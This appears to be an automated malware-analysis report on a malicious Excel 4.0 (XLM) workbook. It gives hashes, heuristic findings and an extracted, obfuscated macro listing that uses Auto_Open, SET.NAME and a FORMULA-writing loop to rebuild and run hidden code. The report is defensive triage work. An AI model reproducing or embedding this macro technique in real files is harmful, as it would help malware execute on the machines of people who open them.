Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb99663cc89e0fda…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:03 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: cdec23d77e5acf182e016bf88f506391 SHA-1: 3d14f3b6ae301c3d258aa4f67c2b7ed0603c14f7 SHA-256: bb99663cc89e0fda54c9754b1a61413089a56160278aaed003137bdaafcc8ad9
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6560 bytes
SHA-256: 05b6b276ab6fc58eea2b8e6cce228b19858c2db3afd8217df69eb3e76bc265b5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
22 of 41 identifiers look randomly generated (e.g. 'fykaUqDUSfGt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dggJncp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B179 
' 0018     26 LABEL : Cell Value, String Constant - DHzcZeKYuTw len=0 
' 0018     25 LABEL : Cell Value, String Constant - dNnKYCJSiH len=0 
' 0018     25 LABEL : Cell Value, String Constant - fPdzEMoRjf len=0 
' 0018     25 LABEL : Cell Value, String Constant - FvRKRVxyei len=0 
' 0018     27 LABEL : Cell Value, String Constant - fykaUqDUSfGt len=0 
' 0018     25 LABEL : Cell Value, String Constant - gsZGrXrtNM len=0 
' 0018     22 LABEL : Cell Value, String Constant - HGyBgeC len=0 
' 0018     27 LABEL : Cell Value, String Constant - IVvIMjzSbpYh len=0 
' 0018     21 LABEL : Cell Value, String Constant - JByKlp len=0 
' 0018     23 LABEL : Cell Value, String Constant - jmJXEekI len=0 
' 0018     24 LABEL : Cell Value, String Constant - MEYVoaGAB len=0 
' 0018     24 LABEL : Cell Value, String Constant - MhHksDJZz len=0 
' 0018     22 LABEL : Cell Value, String Constant - oVPmPIg len=0 
' 0018     23 LABEL : Cell Value, String Constant - qdqkkdtz len=0 
' 0018     25 LABEL : Cell Value, String Constant - SvZYaPRWpZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - tnHiqUrFJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - UzNjykla len=0 
' 0018     21 LABEL : Cell Value, String Constant - xpRSip len=0 
' 0018     26 LABEL : Cell Value, String Constant - xuSudvSGNPR len=0 
' 0018     26 LABEL : Cell Value, String Constant - ykPhsKInIek len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dggJncp,B88,"SET.NAME("ykPhsKInIek",VALUE("0"))",""
'  dggJncp,B93,"SET.NAME("IVvIMjzSbpYh",ykPhsKInIek)",""
'  dggJncp,B96,"SET.NAME("tnHiqUrFJ",ykPhsKInIek)",""
'  dggJncp,B101,"SET.NAME("fPdzEMoRjf",COUNTA(SvZYaPRWpZ))",""
'  dggJncp,B103,"SET.NAME("MEYVoaGAB",COUNTA(jmJXEekI))",""
'  dggJncp,B107,[],""
'  dggJncp,B112,"SET.NAME("JByKlp","")",""
'  dggJncp,B116,"IVvIMjzSbpYh",""
'  dggJncp,B120,"SET.NAME("qdqkkdtz",HLOOKUP("*",SvZYaPRWpZ,IVvIMjzSbpYh,FALSE))",""
'  dggJncp,B125,"xpRSip",""
'  dggJncp,B130,"SET.NAME("dNnKYCJSiH",ykPhsKInIek)",""
'  dggJncp,B134,[],""
'  dggJncp,B139,"dNnKYCJSiH",""
'  dggJncp,B142,"oVPmPIg",""
'  dggJncp,B144,"HGyBgeC",""
'  dggJncp,B146,"xuSudvSGNPR",""
'  dggJncp,B149,"SET.NAME("gsZGrXrtNM",VALUE(HLOOKUP("*",jmJXEekI,xuSudvSGNPR,FALSE)))",""
'  dggJncp,B151,"DHzcZeKYuTw",""
'  dggJncp,B153,"JByKlp",""
'  dggJncp,B156,"tnHiqUrFJ",""
'  dggJncp,B159,NEXT(),""
'  dggJncp,B163,"MhHksDJZz",""
'  dggJncp,B166,"SET.NAME("f",INT(T(FORMULA(T(JByKlp)&"",""&T(MhHksDJZz)))))",""
'  dggJncp,B168,"FvRKRVxyei",""
'  dggJncp,B170,NEXT(),""
'  dggJncp,B175,RETURN(),""
'  dggJncp,B207,"SET.NAME("UzNjykla",B88)",""
'  dggJncp,B211,"SvZYaPRWpZ",""
'  dggJncp,B215,"SET.NAME("jmJXEekI",R97C12)",""
'  dggJncp,B218,"SET.NAME("FvRKRVxyei",225)",""
'  dggJncp,B221,"SET.NAME("fykaUqDUSfGt",2)",""
'  dggJncp,B224,UzNjykla(),""
'  dggJncp,B225,HALT(),""

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